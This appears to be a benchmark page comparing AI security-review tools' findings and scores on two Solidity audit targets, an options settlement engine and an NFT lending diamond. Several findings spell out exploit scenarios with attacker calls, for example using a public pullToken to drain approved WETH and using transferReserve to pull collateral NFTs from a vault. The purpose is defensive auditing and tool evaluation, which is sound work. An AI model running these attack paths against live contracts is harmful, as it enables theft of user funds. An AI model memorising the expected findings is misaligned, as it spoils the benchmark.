Writers lose up to one option unit (underlyingAmount or exerciseAmount, which can be large, e.g. 7 WETH per option in the tests) per claim index, and small lots can be wiped out. The stranded underlying and exercise assets are unrecoverable. A griefer can deliberately bring a victim's small claim into the zero-payout case.
- Description
-
_getAmountExercised floors the exercised share and the unexercised share independently, in whole option units. For any claim with amountWritten = 1 in a bucket where 0 < amountExercised < amountWritten, both floors are 0, so redeem() pays nothing for that unit. More generally each claim index loses up to 1 option unit across the two assets. The remainder is never redistributed and stays in the engine permanently.
- Exploit scenario
-
Alice writes 1 option and Carol writes 2 options on the same day (W=3). A holder exercises 1 option (E=1). At expiry Alice's claim gets floor(1*1/3)=0 exercise units and floor(2*1/3)=0 unexercised units, so she redeems nothing. Carol gets 0 exercise units and 1 of her 2 unexercised units. One unit each of exercise asset and underlying remains locked in the engine.
- Recommendation
-
Compute the unexercised share as amountWritten - exercisedShare so the two shares sum exactly to the claim's stake. Use a largest-remainder or cumulative approach so that all dust is distributed, and consider tracking the remainder in the bucket.
Claude Security (Opus 5.5)
Redemption rounds whole option contracts down for each claim, so collateral is stranded in the engine for good
src/OptionSettlementEngine.sol:592Predicted severity: Medium- Root cause
-
Vulnerable symbol: _getAmountExercised
Preconditions: Two or more claims written into the same day bucket; The bucket is partly exercised at expiry; Per-contract amounts large enough for one contract to matter
Offending code:
_exercised = FixedPointMathLib.mulDivDown(
- Impact
-
Writers permanently lose up to one contract's worth of underlying and exercise asset for each claim and day bucket, and up to 100% for small lots. This happens in normal use whenever a bucket holds several claims and is partly exercised. The loss is large when contracts are large (underlyingAmount can be as big as a uint96).
- Description
-
exercise() records assignment per day bucket (OptionsDayBucket.amountExercised), and redeem() works out each claim's share in whole option contracts. It rounds the exercised and unexercised counts down separately (lines 592-602) before multiplying by the per-contract exerciseAmount and underlyingAmount (lines 616-617). Each claim index can lose up to one full contract's value. Nothing can ever withdraw that value, because sweepFees only moves feeBalance.
- Exploit scenario
-
Two writers each write 1 contract of a 1 WETH / 2000 USDC option on the same day, so the bucket shows written=2. One contract is exercised and lands in that bucket (exercised=1). On redeem, each writer gets exercised = 1*1/2 = 0 and unexercised = 1*1/2 = 0. Both claims are burned and pay nothing, and 1 WETH plus 2000 USDC stay in the contract with no way out. A griefer can also force this on purpose: write 1 contract into a victim's day bucket and exercise 1.
- Recommendation
-
Work out redemption in asset units, not contract counts. For example, exerciseAmount = mulDivDown(bucket.amountExercised * optionRecord.exerciseAmount, claimIndex.amountWritten, bucket.amountWritten), and do the same for the underlying. Or track per-claim assignment exactly so no whole contract is lost to rounding.
Vercel Security Review
Whole-contract rounding can erase claimants' entire redemption
src/OptionSettlementEngine.sol:592Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. Partial exercise rounds away claim ownership** -
src/OptionSettlementEngine.sol:592-594```solidity title="src/OptionSettlementEngine.sol:592-594"
_exercised = FixedPointMathLib.mulDivDown(
claimBucketInfo.amountExercised, claimIndex.amountWritten, claimBucketInfo.amountWritten
);
```
Two one-contract claims sharing a bucket with one exercise each receive an exercised count of zero.
**2. Remaining collateral ownership also rounds away** -
src/OptionSettlementEngine.sol:598-601```solidity title="src/OptionSettlementEngine.sol:598-601"
_unexercised = FixedPointMathLib.mulDivDown(
claimBucketInfo.amountWritten - claimBucketInfo.amountExercised,
claimIndex.amountWritten,
claimBucketInfo.amountWritten
```
Both unexercised counts likewise become zero, before conversion into asset units at lines 615-617.
**3. Redemption irreversibly burns the claims** -
src/OptionSettlementEngine.sol:457-459```solidity title="src/OptionSettlementEngine.sol:457-459"
claimRecord.claimed = true;
_burn(msg.sender, claimId, 1);
```
Neither claimant receives either asset; remaining collateral and strike payments become permanently stranded.
- Exploit scenario
-
Not specified.
- Recommendation
-
Calculate proportional payouts in ERC20 base units before rounding, using overflow-safe arithmetic. Test partial exercise across multiple claims.
-
Writing during the exercise period may lead to arbitrage opportunities valorem-3 · 6 writeups Medium
V12
Late writes dilute historical exercise entitlements
src/OptionSettlementEngine.sol:313Predicted severity: High- Root cause
-
Current-day bucket contributions remain mutable after exercise assignment, but claim settlement uses only final cumulative ratios. No per-write checkpoint separates pre-existing exercise allocations from claims created afterward.
- Impact
-
A late writer can retrospectively purchase a share of already-collected exercise assets rather than only assume exposure to future exercises. Inference: if those exercise assets have become worth more than the collateral deposited later that day, the writer can extract the difference from existing claim holders by diluting their prior assignment.
- Description
-
writeremains available throughout the exercise window and adds same-day contributions to the current bucket even after that bucket has already absorbed exercises._getAmountExercisedlater apportions the bucket's cumulative historical exercises using its finalamountWrittendenominator and each claim's final contribution. Consequently a new claim can receive exercise payments made before the claim existed, while earlier claims lose part of their previously assigned exercise entitlement. For example, an original 100-contract claim that has been fully exercised is reopened by a later same-day 100-contract write; with no further exercises, both claims settle as 50 exercised and 50 unexercised. The new writer's option tokens need not be exercised for that writer to receive half of the earlier exercise payments.
Pashov (Claude Opus 5.5 high)
Same-day bucket pooling lets late writers capture exercise proceeds already assigned to earlier writers
src/OptionSettlementEngine.sol:622Predicted severity: Medium- Root cause
-
Assignment is recorded per day-bucket, not per claim, and buckets stay open to new writes after exercises have already been assigned to them. Exercises assigned before a write are spread over writers who were not exposed when the exercise happened.
- Impact
-
Value moves between writers. After an exercise, an attacker can watch the price and, if the exercise asset is now worth more than the underlying (the price moved down after exercise), write into the same bucket. They redeem part of the earlier writer's exercise proceeds and leave that writer with underlying that has lost value. Honest writers lose funds and assignment no longer matches what each writer was exposed to.
- Description
-
All writes made on the same UTC day are added to one OptionsDayBucket, and a claim's redemption is computed as
bucket.amountExercised * claim.amountWritten / bucket.amountWritten. Writes that happen after an exercise was already assigned to the bucket increaseamountWrittenwithout changingamountExercised, so the new writer retroactively receives a pro-rata share of exercises that happened before they wrote. A fully exercised bucket is even put back into the unexercised list when someone writes again that day. - Exploit scenario
-
Day D: Alice writes 10 WETH calls (strike 1300 DAI). A holder exercises 10, so the bucket is fully assigned and Alice is owed 13,000 DAI. Later that day WETH falls to 1000 DAI. Mallory writes 10 options into the same bucket (written=20, exercised=10). At expiry, both Alice and Mallory redeem 5 exercised (6,500 DAI) plus 5 WETH. Mallory deposited 10 WETH worth 10,000 DAI and leaves with 6,500 DAI + 5 WETH (11,500 DAI). Alice loses the 1,500 DAI Mallory gained. Mallory's own 10 options are out of the money and not worth exercising.
- Recommendation
-
Snapshot exercise state per write. Examples: start a new bucket after any exercise has been assigned to the current bucket, or track per-claim 'exercised-before-write' offsets (similar to reward-per-share accounting) so later writes cannot share earlier assignments.
Pashov (Codex GPT-6 Sol high)
Later same-day writes capture earlier exercise proceeds
src/OptionSettlementEngine.sol:636Predicted severity: High- Root cause
-
The daily bucket stores only aggregate written and exercised amounts and retroactively dilutes the exercise ratio when a later write increments amountWritten.
- Impact
-
A strategic writer can transfer exercise proceeds from earlier writers to itself, exchanging newly deposited underlying for already collected exercise assets and extracting value when market prices have moved.
- Description
-
The engine adds new same-day options to a bucket after previous options in that bucket were exercised. The new claim receives a share of those earlier exercise payments because redemption calculates the final bucket ratio against all writes, regardless of when each claim was created. Existing claims consequently lose settlement proceeds to later writers.
- Exploit scenario
-
Writer A writes 100 options in a bucket and all 100 are exercised. Before the day changes, writer B writes 100 options of the same type. The bucket changes from written=100, exercised=100 to written=200, exercised=100. Each 100-option claim now redeems 50 underlying units and 50 exercise payments, so B receives 50 payments collected before B wrote any option while A loses them.
- Recommendation
-
Freeze or segment the settlement cohort once an exercise occurs. Place subsequent writes into a new bucket or track per-claim exercise assignment so earlier exercise amounts cannot be reallocated to later claims.
Devin Security
Writing into a same-day bucket after it was exercised moves earlier exercises onto the new writer
src/OptionSettlementEngine.sol:636Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
An honest writer who writes later on the same day can be charged for exercises that happened before they wrote, which moves value between writers of the same option.
##### What's wrong
This is an accounting logic bug. Exercise is tracked per day bucket, not per claim. Redemption splits the bucket's exercised amount pro rata across every claim in the bucket. That includes claims written after the exercise. When a fully exercised bucket gets new writes, it is re-added to the unexercised list, and its old exercises are spread across old and new writers.
##### Who can do it
Mallory writes 100 options on day D after the exercise window opens. She exercises all 100 herself the same day, which fully exercises the day-D bucket. Bob writes 100 options later that day. Now the bucket shows 200 written and 100 exercised. Mallory's claim is treated as 50 exercised and 50 unexercised, and Bob's is the same.
- The attacker has any Ethereum account.
- The exercise window is open, so writing and exercise can happen on the same day.
- Another user writes into the same day bucket afterward.
##### What they get
Bob takes on half of an exercise that happened before his options existed. If his own options are not exercised later, Bob redeems less underlying than he should and Mallory redeems more. The total collateral stays consistent. The loss is limited to writers in that day bucket of that option type.
##### How it works
1.
_addOrUpdateClaimBucketadds new writes to today's bucket and re-adds it to the unexercised list if it was fully exercised (src/OptionSettlementEngine.sol:641-650).2.
_getAmountExercisedcomputes each claim's exercised share asbucket.amountExercised * claim.amountWritten / bucket.amountWritten(lines 592-602).3. The bucket ratio includes exercises that happened before the later claim was written, so the later writer absorbs part of them at
redeem(line 455). - Exploit scenario
-
Not specified.
- Recommendation
-
Start a new bucket when writing into a bucket that already has exercises, or track exercises at claim granularity. To check the fix, add a test where writer A is fully exercised, writer B writes the same day, and both redeem: A should get all exercise asset and B all underlying.
Devin Security (Deep)
Writing into a day bucket that already has exercises retroactively assigns those exercises to the new writer
src/OptionSettlementEngine.sol:636Predicted severity: Critical- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone can write options late in the day into a bucket where other writers were already assigned, and at expiry collect part of those earlier writers' settlement value with no downside of their own.
##### What's wrong
This is a retroactive assignment bug. The engine groups every option written on the same day into one shared bucket and splits that bucket's exercised count pro-rata among its writers at redeem time. When a bucket already has exercises and a new writer adds options to it later the same day, the new options take a share of exercises that happened before they existed, and the earlier writers are silently un-assigned.
##### Who can do it
Alice, a market maker, writes 100 WETH/USDC call options in the morning. Bob holds them and exercises all 100 while the option is in the money, so Alice's claim is now fully assigned and will pay her 100 x the exercise amount in USDC. In the afternoon the price of WETH drops and the option is out of the money. Mallory, an attacker with any funded wallet, writes 900 options of the same type. Because it is still the same day, her options land in Alice's bucket.
- The option type's exercise window is open (exerciseTimestamp has passed) and it has not expired.
- At least one exercise was assigned to today's bucket before Mallory's write.
- Mallory writes before the UTC day rolls over.
- Some options in the bucket stay unexercised through expiry (true whenever the option ends out of the money).
##### What they get
At expiry the bucket shows 1000 written and 100 exercised. Alice's claim is now only 10% assigned: she receives 10 x the USDC exercise amount and 90 WETH back, instead of the 100 x USDC she had earned when Bob exercised. Mallory's claim is 10% assigned too: she deposited 900 WETH and receives 90 x the USDC exercise amount plus 810 WETH, pocketing the price difference on 90 options that she never had real exposure to. If the option instead moves back into the money, Mallory exercises her own 900 options and ends at least even, so the position has no downside for her. Mallory can repeat this on every option type and every day where exercises happen, and the losses fall on whichever writers wrote earlier that day.
##### How it works
1. Bob exercises, and
_assignExercise(src/OptionSettlementEngine.sol:547-567) incrementsamountExercisedon today's bucket until it is fully exercised and removes it from the unexercised list.2. Mallory calls
writelater the same day;_addOrUpdateClaimBucket(src/OptionSettlementEngine.sol:636-649) seesdaysAfterEpochis unchanged and adds her amount to the same bucket'samountWritten, re-adding the bucket to the unexercised list.3. At redeem,
_getAmountExercised(src/OptionSettlementEngine.sol:592-602) splits the bucket'samountExercisedpro-rata by each claim'samountWritten, so Mallory's claim is credited with exercises that happened before she wrote and Alice's claim loses them.4.
_getPositionsForClaim(src/OptionSettlementEngine.sol:612-618) converts those counts into exercise and underlying asset payouts, moving the settlement value from Alice to Mallory. - Exploit scenario
-
Not specified.
- Recommendation
-
Never add new writes to a bucket that has already been exercised. In
_addOrUpdateClaimBucket, when the current bucket hasamountExercised != 0, push a newOptionsDayBucketfor today instead of incrementingamountWrittenon the existing one (a bucket should be identified by day plus an 'unexercised' state, not day alone). Verify with a test: Alice writes 100, Bob exercises 100, Mallory writes 900 in the same day, warp past expiry, and assert Alice's redeem pays exactly 100 x exerciseAmount and 0 underlying while Mallory's pays 0 exerciseAmount and 900 x underlyingAmount.
Vercel Security Review
Late same-day writes capture previously paid exercise proceeds
src/OptionSettlementEngine.sol:642Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. New writes reopen an already exercised bucket** -
src/OptionSettlementEngine.sol:640-643```solidity title="src/OptionSettlementEngine.sol:640-643"
} else {
// Update claim bucket for today
currentBucket.amountWritten += amount;
bucketIndex -= 1;
```
Before expiry, anyone can add collateral to today's bucket even after its earlier claims were fully exercised.
**2. Historical payments become the new writer's entitlement** -
src/OptionSettlementEngine.sol:592-594```solidity title="src/OptionSettlementEngine.sol:592-594"
_exercised = FixedPointMathLib.mulDivDown(
claimBucketInfo.amountExercised, claimIndex.amountWritten, claimBucketInfo.amountWritten
);
```
If an earlier two-contract lot was fully exercised, adding another two-contract lot gives each lot one exercised and one unexercised contract.
**3. Redemption transfers earlier writers' proceeds** -
src/OptionSettlementEngine.sol:461-463```solidity title="src/OptionSettlementEngine.sol:461-463"
if (exerciseAmount > 0) {
SafeTransferLib.safeTransfer(ERC20(optionRecord.exerciseAsset), msg.sender, exerciseAmount);
}
```
After a same-day price fall below strike, the attacker leaves new options unexercised and redeems collateral plus historical strike proceeds, profiting at earlier writers' expense.
- Exploit scenario
-
Not specified.
- Recommendation
-
Exclude new writes from prior exercise allocations. Seal exercised buckets and create fresh buckets for subsequent collateral, or track assignment baselines per claim.
-
-
Voyage Solidity NFT lending diamond. Tasks 16 V12 16/16 Codex Sec 9/16 Pashov Opus 13/16 Pashov GPT-6 9/16 Devin 7/16 Devin (Deep) 14/16 Claude Sec 8/16 Claude Opus 8/16 Vercel 7/16
NFT lending diamond.
Read the audit report-
Public pullToken function allows stealing ERC20 tokens for which Voyage has approval voyage-1 · 9 writeups Critical
V12
Public payment helper steals approved provider tokens
contracts/voyage/facets/LiquidityFacet.sol:128Predicted severity: Critical- Root cause
-
The payment helper used by
depositexposes the diamond's spender authority through a public function with caller-selected source and destination. ERC20 allowances intended for deposit or withdrawal flows are not bound to the account invoking those flows. - Impact
-
Any account can transfer a provider's approved underlying directly to an attacker-selected recipient without minting shares. The same helper also exposes tranche shares approved to the diamond for withdrawals, so granting the normal protocol allowance creates an unauthorized-transfer path.
- Description
-
depositrequires providers to approve the Voyage diamond so its payment helper can pull underlying from them. The same diamond exposes the inherited publicpullTokenfunction without restricting its caller,from, orrecipientarguments. An external caller can therefore invoke that helper directly with a provider asfromand the caller's address asrecipient. The ERC20 sees the diamond as the spender and honors the provider's existing allowance, despite the transfer not being a deposit. The deployment script installsPaymentsFacetalongsideLiquidityFacet, and the test setup grants the diamond an unlimited underlying allowance.
Codex Security (GPT-6 Sol)
Any caller can transfer tokens approved to Voyage
contracts/shared/util/PeripheryPayments.sol:14Predicted severity: Critical- Root cause
-
PaymentsFacetinherits externally callablePeripheryPayments.pullToken. It forwards caller-chosenfromandrecipienttosafeTransferFromwith no caller binding; ERC20 allowance to the diamond is the only check. - Impact
-
An unprivileged caller can take approved user tokens up to the allowance without initiating a legitimate deposit. Likelihood is high under the stated prerequisites.
- Description
-
The public
pullTokenmethod lets any caller spend a user's ERC20 allowance to the Voyage diamond and choose the recipient, so approved funds can be sent to the caller. - Exploit scenario
-
contracts/shared/util/PeripheryPayments.sol:14 to contracts/voyage/facets/LiquidityFacet.sol:129
- Recommendation
-
Make token pulling internal to authenticated protocol flows, or require the token owner to be the authenticated caller and bind the recipient.
Pashov (Claude Opus 5.5 high)
PeripheryPayments.pullToken lets anyone transfer tokens from any address that approved the Voyage diamond
contracts/shared/util/PeripheryPayments.sol:14Predicted severity: Critical- Root cause
-
No access control and no
from == msg.senderrestriction on a function that spends allowances granted to the diamond. - Impact
-
Theft of every token balance that any user has approved to the Voyage diamond (typically unlimited WETH approvals). Complete loss of user funds.
- Description
-
PaymentsFacet (inheriting PeripheryPayments) is cut into the Voyage diamond and exposes
pullToken(token, amount, from, recipient)as a public, unauthenticated function that executestoken.safeTransferFrom(from, recipient, amount)with the diamond as msg.sender. Users must approve the diamond for the reserve currency (WETH) to deposit (LiquidityFacet.deposit uses pullToken), to pay the down-payment and protocol fee in buyNow, to repay and to liquidate. Any third party can therefore callpullTokennaming a victim asfromand themselves asrecipient. - Exploit scenario
-
Alice approves Voyage for type(uint256).max WETH and deposits. Attacker calls
Voyage.pullToken(WETH, WETH.balanceOf(alice), alice, attacker); the diamond calls WETH.transferFrom(alice, attacker, ...) using Alice's allowance and the attacker receives all her WETH. - Recommendation
-
Make pullToken internal (or restrict
fromto_msgSender()), and similarly restrict the other PaymentsFacet helpers. Internal facets should use an internal library function rather than an external self-call.
Pashov (Codex GPT-6 Sol high)
Permissionless pullToken can take any approved user funds
audit/contracts/shared/util/PeripheryPayments.sol:14Predicted severity: Critical- Root cause
-
pullToken is public with no caller or recipient constraint.
- Impact
-
All users who approve the diamond for an ERC20 can lose up to their allowance.
- Description
-
Any caller can choose from and recipient in pullToken, causing the diamond to spend another user’s token allowance.
- Exploit scenario
-
After a victim approves Voyage, an attacker calls pullToken(token,amount,victim,attacker).
- Recommendation
-
Restrict pullToken to trusted internal call paths or require from to equal the effective sender and recipient to be protocol-controlled.
Devin Security
Public pullToken lets anyone move tokens from any user who approved the Voyage diamond
contracts/shared/util/PeripheryPayments.sol:14Predicted severity: Critical- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone on the internet can take every token that any Voyage user has approved to the Voyage contract, which covers lenders and borrowers who granted standing allowances.
##### What's wrong
This is a missing access check on an arbitrary transferFrom.
pullToken(token, amount, from, recipient)is a public function that runstoken.safeTransferFrom(from, recipient, amount)with a caller-chosenfromandrecipient. PaymentsFacet inherits it, and the deploy script adds PaymentsFacet to the diamond, so the function is callable on the main Voyage contract by anyone.##### Who can do it
Alice, a lender, approves the Voyage diamond to spend her WETH so she can call
LiquidityFacet.deposit. Bob, a borrower, approves an unlimited WETH allowance so thatbuyNow,repayand interest payments can pull funds. Mallory, who has no account and no relationship with Voyage, callspullToken(WETH, amount, Alice, Mallory)on the diamond.- The victim has a non-zero allowance to the Voyage diamond for some token.
- The victim holds a balance of that token.
- PaymentsFacet is cut into the diamond (it is, in deploy/001_voyager.ts).
##### What they get
Mallory receives Alice's and Bob's WETH directly in her own wallet. She can repeat this for every address with an allowance, and bots can watch Approval events to drain new approvals in the same block. The loss covers every Voyage user's approved balance.
##### How it works
1. LiquidityFacet.deposit and LoanFacet.buyNow/repay require users to approve the diamond, because they pull funds with transferFrom from the user.
2. PeripheryPayments.pullToken at contracts/shared/util/PeripheryPayments.sol:14-21 has no modifier and takes
fromandrecipientas arguments.3. The diamond fallback delegatecalls PaymentsFacet, so
safeTransferFromruns with the diamond as the spender and uses the victim's allowance.4. The tokens go to the attacker-chosen
recipient. - Exploit scenario
-
Not specified.
- Recommendation
-
Remove
fromfrom the external API. Either make pullToken internal and call it withfrom = msg.senderfrom LiquidityFacet, or restrict it withrequire(msg.sender == address(this))and pass the real user from the calling facet. Do the same forapprove. Add a test where a third party callspullToken(token, amt, victim, attacker)on the diamond and expect a revert.
Devin Security (Deep)
Anyone can call pullToken on the Voyage diamond to move tokens out of any wallet that approved it
deployments/rinkeby/solcInputs/12dd858cd3471725424835f3a0db1659.json:152Predicted severity: Critical- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone on the internet can call
pullTokenon the Voyage diamond and move WETH (and deposit-token shares) out of any wallet that has approved the diamond, which is every depositor and borrower.##### What's wrong
This is a missing access control on a token-moving helper.
PeripheryPayments.pullToken(token, amount, from, recipient)is a public function ofPaymentsFacet, which is installed on the Voyage diamond. It callstoken.safeTransferFrom(from, recipient, amount)with the diamond as the spender, and the caller chooses bothfromandrecipient. The sibling helpersapprove,sweepToken,unwrapWETH9(amountMinimum, recipient)andrefundETHare also public and let anyone move whatever tokens or ETH the diamond itself holds.##### Who can do it
Alice deposits WETH into the Crab pool through
LiquidityFacet.deposit, which requires her to approve the Voyage diamond to spend her WETH (most wallets set an unlimited approval). Bob borrows throughbuyNowand also approved the diamond. Mallory, an attacker with no account at all, callspullToken(WETH, amount, alice, mallory)on the diamond.- The victim has a live WETH (or deposit-token share) allowance to the Voyage diamond. Every
deposit,buyNow,repayandliquidatecall requires one, andLiquidityFacet.withdrawrequires a share allowance.- The
PaymentsFacetselectors are installed on the diamond.deployments/rinkeby/Voyage.jsonlistspullToken(0xd26aaa3e),approve(0xe1f21c67),sweepToken(0xdf2ab5bb),unwrapWETH9(0x49404b7c) andrefundETH(0x12210e8a) on the deployed diamond.##### What they get
Mallory drains every protocol user's WETH wallet balance up to their allowance straight into her own address. She can also take any ETH or WETH sitting on the diamond (for example the first-instalment interest that
buyNowstrands there) withrefundETHorunwrapWETH9(0, mallory), and the deposit-token shares of any user who approved the diamond forwithdraw. Nothing limits the amount and she can repeat it for every user and every token.##### How it works
1. A user approves the Voyage diamond for WETH so that
LiquidityFacet.depositorLoanFacet.buyNowcan pull funds;LiquidityFacet.deposititself usesPaymentsFacet(address(this)).pullToken(..., msg.sender, ...)(contracts/voyage/facets/LiquidityFacet.sol:129-134).2. Mallory calls
pullToken(WETH, amount, victim, mallory)directly on the diamond (contracts/shared/util/PeripheryPayments.sol:14-21, exposed by contracts/shared/facets/PaymentsFacet.sol:12).3. The diamond executes
WETH.transferFrom(victim, mallory, amount); WETH checks the victim's allowance to the diamond, which exists, and transfers.4. Mallory can also call
refundETH()orunwrapWETH9(0, mallory)(contracts/shared/facets/PaymentsFacet.sol:15-28 and 48-52) to take any ETH or WETH the diamond holds. - Exploit scenario
-
Not specified.
- Recommendation
-
Remove
pullTokenandapprovefrom the externally callable surface, or hard-codefrom = msg.senderand restrictapprove,sweepToken,unwrapWETH9andrefundETHtomsg.sender == address(this)(asMarketplaceAdapterFacet.purchasedoes) or make them internal library calls. Replace the external self-call inLiquidityFacet.depositwith a directsafeTransferFrom(msg.sender, ...). Verify with a test: after account A approves the diamond for WETH, account B callingpullToken(WETH, 1, A, B)must revert, andfacetFunctionSelectors(PaymentsFacet)must no longer contain 0xd26aaa3e, 0xe1f21c67, 0xdf2ab5bb, 0x49404b7c or 0x12210e8a.
Claude Security (Sonnet 5.5)
PaymentsFacet.pullToken is callable by anyone and pulls tokens from an arbitrary
fromaddresscontracts/shared/util/PeripheryPayments.sol:14Predicted severity: Critical- Root cause
-
Vulnerable symbol: PeripheryPayments.pullToken
Preconditions: Victim has a non-zero ERC20 allowance to the Voyage diamond, which the protocol requires for normal use
Offending code:
function pullToken(
- Impact
-
Unauthenticated theft of the token balance of every address that has approved the diamond, up to its allowance. Typical approvals are unlimited, so this covers LP and borrower wallets.
- Description
-
The diamond exposes
pullToken(token, amount, from, recipient)with no authorization check. The caller picksfromandrecipient, and the diamond executestoken.safeTransferFrom(from, recipient, amount)as spender. Any user who has approved the Voyage diamond can be drained. - Exploit scenario
-
A depositor, borrower or liquidator approves the diamond for WETH. LiquidityFacet.deposit, LoanFacet.buyNow, LoanFacet.repay and LoanFacet.liquidate all require that approval. An attacker calls
voyage.pullToken(WETH, victimAllowanceOrBalance, victim, attacker). The diamond is the spender, so the transfer succeeds and the victim's tokens go straight to the attacker. This repeats for every approver. - Recommendation
-
Remove
pullTokenfrom the externally reachable surface, or make it internal or restricted to calls from the diamond itself (msg.sender == address(this)). Never accept a caller-suppliedfrom; use the authenticated sender. Apply the same restriction toapprove.
Claude Security (Opus 5.5)
Public pullToken lets anyone transferFrom any address that has approved the Voyage diamond, so depositor funds and vToken shares can be stolen
contracts/shared/util/PeripheryPayments.sol:14Predicted severity: Critical- Root cause
-
Vulnerable symbol: pullToken
Preconditions: Victim has a non-zero ERC20 allowance to the Voyage diamond. The deposit flow requires this, and the project's own scripts grant MAX_UINT256.; PaymentsFacet selectors are registered on the diamond (they are, per deploy/001_voyager.ts)
Offending code:
function pullToken(
- Impact
-
Anyone can steal, with no privileges, the full token balance (up to the allowance) of every user who approved the diamond for deposits, and the junior/senior tranche shares of every user who approved the diamond for withdrawals. Allowances granted through SelfPermit.selfPermit are exposed the same way.
- Description
-
PaymentsFacet (a registered diamond facet; see deploy/001_voyager.ts:133) inherits the public payable pullToken(token, amount, from, recipient). It passes the caller-chosen
fromandrecipientstraight to token.safeTransferFrom (line 20) and never checks that from == msg.sender or that the caller is the diamond itself. LiquidityFacet.deposit (LiquidityFacet.sol:129-134) works by pulling the depositor's tokens through this function, so every depositor has to approve the diamond, and any caller can then spend that allowance. - Exploit scenario
-
Alice follows the documented flow: she approves the Voyage diamond for WETH (max, as in scripts/0003_deposit_reserve.ts) and calls deposit(). Later, or by front-running a deposit that follows an exact-amount approval, the attacker calls voyage.pullToken(WETH, WETH.balanceOf(alice), alice, attacker) and receives Alice's WETH. The same works on tranche shares. LiquidityFacet.withdraw calls vToken.withdraw(_amount, msg.sender, msg.sender) with the diamond as msg.sender, so a user who wants to withdraw must approve the diamond for their vToken shares. The attacker then calls pullToken(vToken, shares, victim, attacker), takes the shares, and redeems them.
- Recommendation
-
Remove the arbitrary
fromparameter and always pull from msg.sender. Or restrict pullToken to internal use (require(msg.sender == address(this))) and change LiquidityFacet.deposit to transfer directly with IERC20(asset).safeTransferFrom(msg.sender, address(this), _amount), or let the vToken pull from the user directly. Also change LiquidityFacet.withdraw so it does not depend on users granting share allowances to the diamond.
Vercel Security Review
Public pullToken can steal any user's allowance to Voyage
contracts/shared/util/PeripheryPayments.sol:17Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. The new payment facet exposes the inherited helper** -
contracts/shared/facets/PaymentsFacet.sol:12```solidity title="contracts/shared/facets/PaymentsFacet.sol:12"
contract PaymentsFacet is PeripheryPayments, Multicall, SelfPermit {
```
Normal depositors authorize Voyage to spend their underlying tokens (
LiquidityFacet.sol:129-135).**2. Any caller can spend that authorization for an arbitrary recipient** -
contracts/shared/util/PeripheryPayments.sol:17-20```solidity title="contracts/shared/util/PeripheryPayments.sol:17-20"
address from,
address recipient
) public payable {
token.safeTransferFrom(from, recipient, amount);
```
No caller-to-
fromcheck or self-call restriction exists. An unrelated account can transfer a victim's tokens to itself, limited only by the victim's balance and allowance, without making a deposit. - Exploit scenario
-
Not specified.
- Recommendation
-
Restrict this helper to calls from the diamond itself, preserving the deposit self-call flow. For any public pulling interface, bind the payer to the authenticated sender and constrain the destination; never let arbitrary callers spend another user's allowance.
-
Signature clash allows calls to transferReserve to steal NFT collateral voyage-2 · 6 writeups Critical
V12
Reserve transfers bypass NFT collateral restrictions
contracts/voyage/facets/VaultFacet.sol:78Predicted severity: Critical- Root cause
-
transferReservedoes not restrict the target to approved fungible reserve assets, creating an alternate NFT-transfer path that bypasses the lien guard. - Impact
-
A borrower can transfer a correctly pledged NFT to any address without repaying the loan, removing the lender's collateral. Later liquidation cannot retrieve that NFT, exposing senior liquidity to unrecoverable borrower default.
- Description
-
transferReserveaccepts a caller-selected_currencyand invokes itstransferFrom(address,address,uint256)selector through the owner's vault. That selector is shared by ERC20 and ERC721. Passing an NFT collection as_currencyand a pledged token ID as_amounttherefore causes an ERC721 transfer rather than a reserve-token transfer. UnlikewithdrawNFT, this entrypoint never checksnftIndex.isCollateral. The vault authorizes the Voyage call and executes the NFT transfer as its current owner.
Pashov (Claude Opus 5.5 high)
transferReserve can move collateralised NFTs out of the vault, bypassing the lien
contracts/voyage/facets/VaultFacet.sol:97Predicted severity: Critical- Root cause
-
The function treats
_currencyas an arbitrary ERC20 and does not check that it is not a collection / collateral NFT; selector collision between ERC20 and ERC721 transferFrom. - Impact
-
Borrowers can withdraw NFTs that secure outstanding loans immediately after buyNow and then default; liquidation will fail (NFT not in vault) and senior/junior depositors lose the full outstanding principal.
- Description
-
transferReserve(vault, currency, to, amount)makes the vault callcurrency.transferFrom(vault, to, amount)without any check oncurrency. ERC721transferFrom(address,address,uint256)has exactly the same selector as ERC20transferFrom. A borrower can pass the collateral NFT collection as_currencyand the collateral tokenId as_amount. Unlike withdrawNFT, there is nonftIndex[..].isCollateralcheck. - Exploit scenario
-
Attacker buys an NFT with buyNow paying only the first instalment, then calls
transferReserve(myVault, collection, attacker, tokenId). The vault executescollection.transferFrom(vault, attacker, tokenId)(vault is the owner so it succeeds). The attacker sells the NFT and never repays. - Recommendation
-
Disallow
_currencyvalues that are registered collections/NFTs (or only allow the reserve currency), and check that the asset is not collateral; better, use typed functions for ERC20 vs ERC721 withdrawals.
Devin Security (Deep)
transferReserve lets a vault owner move collateral NFTs out of the vault while the loan is unpaid
deployments/rinkeby/solcInputs/8683a2c35133ff397846d93c3e914ec7.json:53Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Any borrower can take the NFT that secures their loan out of the vault after paying only the first instalment, leaving lenders with no collateral to liquidate.
##### What's wrong
This is a collateral-lock bypass.
VaultFacet.transferReserve(_vault, _currency, _to, _amount)has the vault call_currency.transferFrom(_vault, _to, _amount)without validating_currency. The ERC20 and ERC721transferFrom(address,address,uint256)selectors are identical, so an NFT collection and token id move the NFT, skipping theisCollateralcheck that onlywithdrawNFTapplies. The source is identical to the deployed artifact12dd858c....##### Who can do it
Bob, a customer with an operator-created vault, buys a 9 ETH NFT via
buyNowwith a 3 ETH down payment and 6 ETH from the senior pool, then callstransferReserve(bobVault, crabCollection, bob, tokenId).- The attacker owns a vault (created through the
authorisedcreateVault).- The attacker has an open loan whose collateral sits in the vault.
##### What they get
Bob keeps the NFT and never pays the remaining 6 ETH plus interest.
liquidatelater reverts because the vault no longer owns the NFT, so lenders recover nothing. Every borrower can repeat this on every loan.##### How it works
1.
